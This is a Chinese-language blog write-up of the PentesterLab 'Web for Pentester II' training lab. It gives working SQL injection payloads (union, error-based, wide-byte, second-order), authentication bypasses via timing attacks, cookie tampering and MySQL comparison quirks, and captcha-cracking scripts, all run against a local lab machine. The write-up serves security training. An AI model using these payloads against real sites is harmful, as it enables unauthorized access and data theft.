LoRexxar's Blog | 信息技术分享

web_for_pentest_II writeup

2016/03/30

听说新出了web for pentest2,正好没什么事,那就来做做看吧…

SQL injections

example1

打开看到是一个登陆框,猜测是没有过滤,那么先输入个单引号吧,看看有没有什么过滤。
看到回显

1
Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1: SELECT * FROM users WHERE username=''' AND password=''

那么登陆吧,不知道为什么username处永真无效…

1
username=admin&password=123'or'1'='1

想看看后台是怎么写的,结果发现全部都是rubyweb实现…

example2

居然又是个登陆框,而且好像没什么过滤,就是过不了,一脸懵比,去看了后台源码发现需要只查出来一条数据,那么简单
payload:

1
username=admin&password=123'or+1+limit+1#

example3

一脸懵比,居然又是登陆框,稍微测试了下发现单引号被过滤了,那么想想有查询两个字段,那么可以用反斜杠

1
username=\&password=||1#

这样可以转义掉本来包括username的单引号,username会包括&password=,然后构造就可以过了

example4

这回终于是个查询了,打开发现是这样的

1
?req=username='hacke'

那么构造句测试下发现并没有过滤,那么开始注吧

1
req=username='hacke' union select version(),user(),3
1
2
id	name
5.1.66-0+squeeze1 pentesterlab@localhost

顺便找到表名sqlinjection_example4
看看表里的列名

1
req=username='hacke' union select table_name,2,3 from information_schema.tables where table_schema = 'sqlinjection_example4'

然而只有users
里面啥也没有

1
2
3
4
5
6
id	name
1 user1
2 user2
3 user3
4 user4
5 hacker

example 5

这回是在limit后面,稍微测试了下发现啥都没过滤,说明上面的payload可以直接拿过来用,数据库权限比较大,所有题目都能看到

1
?limit=5 union select table_name,2,3 from information_schema.tables where table_schema = 'sqlinjection_example5'

没什么可说的

example6

这次在group by后面,看是还是没有任何过滤,所有payload还是不变。。。

1
group=id union select table_name,2,3 from information_schema.tables where table_schema = 'sqlinjection_example6'

example7

一脸懵比,回显想不明白,而且一定要查询出来user才行,不然会报错

1
2
3
http://192.168.157.129/sqlinjection/example7/?id=47

Should only return one user...

说明不是正常的注入了,发现显错没关,那试试显错注入吧。

1
id=12+and+1=2+UNION+SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))a+from+information_schema.tables+group+by+a)b--

这个是之前研究时候用的显错注入的payload,拖过来发现可以直接用。

http://lorexxar.cn/2015/11/19/sql-error/#more

1
Mysql2::Error: Duplicate entry '1_sqlinjection_example6_pentesterlab@localhost_5.1.66-0+squeeze1' for key 'group_key': SELECT * FROM users WHERE id=12 and 1=2 UNION SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x5f,database(),0x5f,user(),0x5f,version())))a from information_schema.tables group by a)b--

一目了然

example8

打开爆了500,这回真的是一脸懵比,赶快去看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
get "/users/:id" do
ActiveRecord::Base.establish_connection SQLInjectionExample8.db
@user = User.find(params[:id])
if @user
begin
sql = "SELECT * FROM users WHERE username='#{@user.username}' "
@res = ActiveRecord::Base.connection.execute(sql).to_a[0]
erb :user
rescue Exception => e
@message = e.to_s
end
end
end

post '/user' do
User.create(:username => params[:user], :password => Digest::MD5.hexdigest(SEED+params["password"]+SEED))
redirect SQLInjectionExample8.path
end

完全看不懂,所以贴上官网的解释

1
2
3
4
5
6
7
This example is vulnerable to "second order SQL injection", instead of directly injecting your payload in the request, you will first insert it in the database using a first request and then trigger the payload in a second request. The first request is not vulnerable to SQL injection, only the second is. However, you do not directly control the value used, you need to inject it using the first request. This issue comes from the fact that the developer trusted the values coming from the database.

Each attempt will need two steps:

Create a user with your payload.
Access this user information to trigger your payload.
If you want to be efficient you need to automate this process using a simple script. The payload can be as simple as a union-based exploitation.

搜到一个payload但是我的本地过不了

1
2
3
http://192.168.5.40/sqlinjection/example8/
creat user name:xxxx' union select 188,9999 ,7777#
visite user

example9

稍微测试了下没什么发现,错误显示也关了,那去看看后台吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
get '/' do
ActiveRecord::Base.establish_connection SQLInjectionExample9.db
res = []
if params['username'] && params['password']
begin
sql= "SET CHARACTER SET 'GBK';"
ActiveRecord::Base.connection.execute(sql)
name = ActiveRecord::Base.connection.quote_string(params[:username])
password = Digest::MD5.hexdigest(SEED+ActiveRecord::Base.connection.quote_string(params[:password]+SEED))
sql = "SELECT * FROM users WHERE username='#{name}'"
sql+= " AND password='"+password+"'"
res = ActiveRecord::Base.connection.execute(sql).to_a
rescue Exception => e
@message = e.to_s
end
end
pp res
if res.size > 0
erb :index
else
erb :login
end
end

看到gdk就有想法了,应该是宽字节注入。
但是只传入username一个为%bf%27+or+1=1#会报错说编码应为utf-8
所以payload为

1
?username=%bf%27+or+1%3D1+%23&password=%bf%27+or+1%3D1+%23&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

Authentication

这一类型是身份认证的bypass

example1

认证窗口弹出来是说用户名为admin,让我猜猜看密码是什么
然后随手一试

1
2
username = admin
password = admin

然后就过了…6666

example2

第二关打开是这样的
Username is hacker, now you need to find the password
抓包看看也没什么想法,去web for pentest2的官网看了看,他是这么说的
This example is an exagerated version of a non-time-constant string comparison vulnerability. If you compare two strings and stop at the first invalid character, a string A with the first 6 characters in common with the string B will take more time to compare than a string A’ with only the first 2 characters in common with the string B. You can use this information to brute force the password in this example.

说了一大堆也没有很看懂,好像是说6位的密码要花很长时间比较,而authentication是逐位比较的,所以正确的为一位位比较下去,这样就会花更长的时间,那么就可以写脚本跑了…(虽然我还是一脸懵比)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ruby auth-example2.rb
hacker:a -> 1.4625000953674316
hacker:b -> 1.4070789813995361
hacker:c -> 1.407270908355713
[...]
hacker:l -> 1.4061241149902344
hacker:m -> 1.4065420627593994
hacker:o -> 1.4070839881896973
hacker:p -> 1.6072182655334473
[...]
hacker:4 -> 1.4077167510986328
hacker:5 -> 1.4075558185577393
hacker:6 -> 1.40665602684021
hacker:7 -> 1.4062080383300781
hacker:8 -> 1.4082770347595215
hacker:9 -> 1.407080888748169

明显p比较久,这样就继续跑,最后得到密码是p4ss0rd

example3

打开有个登陆框,给了个测试账号,题目是说需要用admin的身份登陆,不知道为什么爆了500的错误,没办法那就不做了,看看官方文档

In this exercise, you can log in as user1, your goal is too get logged in as admin. To do so, you need to carefully look at the response sent back by the server.

You can see that when you log in as user1, you get a cookie named user1, from that you can easily modify this value (using a proxy or a browser’s extension) to get logged in as admin.

比较清晰,大概是说cookie里面有个字段是user,修改为admin就可以了

example4

和上题差不多。

This example is similar to the previous example. As soon as you receive a cookie from an application is always good to see what it looks like, try to crack using a password cracker or try to just Google it. From that you should be able to generate a valid cookie for the user admin.

If you get many times the same session id when logging in: there is a problem! If you log in from a clean browser, you should never get two times the same cookies.

大概意思是说cookie不会改变,意味着cookie中存储了账号密码的信息,就好像如果你使用干净的浏览器,你不会两次都得到相同的cookie,除非cookie中存储着什么。

example5

打开是个登陆版还有注册功能,那么稍微猜猜看应该是业务逻辑漏洞了
This example shows the consequence of different method of string comparison. When you create a user, the application will check programmatically that the user does not exist by comparing the username provided with the existing user. When you log in, the application will check that your username and password are correct, then it will save your username in your session. Finally, every time you will access the application, the application will retrieve your user’s details based on the username provided in the session.

The trick here comes from the fact that the comparison when you create a user is done programmaticaly (i.e.: in Ruby) but when the user’s details get retrieved, the comparison is done by the database. And by default, MySQL (with the type VARCHAR) will perform a case insensitive comparison: “admin” and “Admin” are the same value.

Using that information, you should be able to create a user that will be identified as admin.

看起来没错,是注册的时候判断没有做大小写判断,于是产生了注册覆盖,那么注册一个Admin就可以过了

example6

To remediate the previous issue, the developer decided to use a case sensitive comparison during users’ creation. This check can also be bypassed based on the way MySQL performs string comparison: MySQL ignores trailing spaces (i.e.: pentesterlab and pentesterlab are equals). Using the same method as above, you should be able to pretend to be logged in as the user admin.

A good way to prevent this issue is to tell the database that the username is a PRIMARY KEY. This method is, for example, used in Tomcat documentation to use a SQL backend as a Realm.

不知道为什么这类型的题目都会报500,没办法,只能看官方文档猜猜看,基本说的很清楚,mysql会忽略尾随在字符串后面的空格,利用这种方式,就可以进行注册覆盖了,还是比较简单的。

captcha

这里的的所有题目都是关于captcha的验证的,有各种各样奇怪的captcha bypass方式。

example1

第一题打开时验证码,试了试没觉得有什么问题,那么就去看看源码吧,看到了一句有趣的判断

1
2
if params[:captcha] and params[:captcha] != session[:captcha]
# ERROR: CAPTCHA is invalid redirect

这里看到有个captcha存在性的判断,所以如果并没有传入captcha这个参数,就不会进入判断,成功绕过。

example2

第二题打开发现第一题的洞还在,但估计应该不是这样的做法,查看页面源码的时候突然发现有个隐藏的answer,

1
<input type="hidden" value="KhXFGIHZIc" name="answer">

有可能是测试的时候忘记删除导致的漏洞吧…

example3

这回同样是类似于由于开发人员疏漏导致的问题,这次打开发现之前的input的消失了,但是却发现cookie多了一项captcha,里面就是验证码,get

example4

第4题打开没找到什么洞,去看看官方文档吧。

This is quite a funny example since it’s a mistake I made during the development of this set of exercises.

Here, you don’t have to really crack the captcha, you just need to crack it once and you can reuse the same value and session id to perform the same request again and again. When you try to crack a captcha, make sure that an answer can only be used once. You can easily script this exploitation by writing a script that takes a session id and a value for parameters and submit them again and again.

好吧我承认没有搞明白怎么回事…

example5

打开发现验证码是类似于单词这样的东西,不是很懂,去看看官方文档…

This example is the last example of weakness, here the weakness comes from the dictionnary used to create the captcha, there is only a limited number of words used. You can easily write a cracker by generating a list of all words and the MD5 of the image. Then when you want to submit the form, you just need to retrieve the image, compute its MD5 and submit the matching word.

大概说我们很容易通过枚举单词来比较验证码的正确,类似于弱口令吧。

example6

这次的比较清晰了,打开是很弱的验证码,找一些工具就可以识别这样的图片了,官方文档是这么说的。
In this example, we are going to use the OCR tool (Tesseract) to crack this easy captcha. The goal here is to build a script that will get an high success rate.

Just with a basic script using tesseract you can expect a success rate of more than 95%. You will need to use the following algorithm:

Go to the main page http://vulnerable/captcha/example6/ to get a new captcha and the cookie (rack.session).
Retrieve the image.
Run tesseract on the image and retrieve the result.
Submit the result with the correct cookie.
The following things can improved your success rate:

Only submit a value if it’s a word.
Only submit a value if it only contains of lower case characters.
Depending on the application workflow, you may want to have a really high success rate. For example, if you spend 10 minutes filling forms, you want to make sure that the captcha cracker has a high success rate. Where if it’s only to exploit a SQL injection, you can just retry until you find the right value and you don’t need to be really accurate.

他推荐了ocr tool这个工具,在识别的时候还可以加一些优化,剔除一些不是单词的,在剔除一些只有小写字母的。

example7

只是加了一些蓝色的线基本是不解决问题的,很容易处理这样的图片。

1
2
3
4
require 'RMagick'
image = Magick::Image.read("current7.png").first
image = image.threshold(THRESHOLD)
image.write("current7.png")

噢,代码可能是ruby写的。。。

example8

到这里发现验证码已经回到原来的样子了,之前是通过别的漏洞搞得,现在试着恢复吧。

1
2
3
4
5
require 'RMagick'
image = Magick::Image.read("current8.png").first
image = image.implode(IMPLODE)
image = image.threshold(THRESHOLD)
image.write("current8.png")

加上筛选,成功率还是有一些的,

example9

打开发现是算式的验证码,那么很简单,python里用eval就可以了,懒得写脚本…

Authorization

由于这部分开始镜像血崩了,基本开什么都报500,无奈下只能放弃了,不过从官方的文档中还是能获得很多东西。

https://pentesterlab.com/exercises/web_for_pentester_II/course
有时候会打不开,但好像不是因为gfw的原因。

CATALOG
  1. 1. SQL injections
    1. 1.1. example1
    2. 1.2. example2
    3. 1.3. example3
    4. 1.4. example4
    5. 1.5. example 5
    6. 1.6. example6
    7. 1.7. example7
    8. 1.8. example8
    9. 1.9. example9
  2. 2. Authentication
    1. 2.1. example1
    2. 2.2. example2
    3. 2.3. example3
    4. 2.4. example4
    5. 2.5. example5
    6. 2.6. example6
  3. 3. captcha
    1. 3.1. example1
    2. 3.2. example2
    3. 3.3. example3
    4. 3.4. example4
    5. 3.5. example5
    6. 3.6. example6
    7. 3.7. example7
    8. 3.8. example8
    9. 3.9. example9
  4. 4. Authorization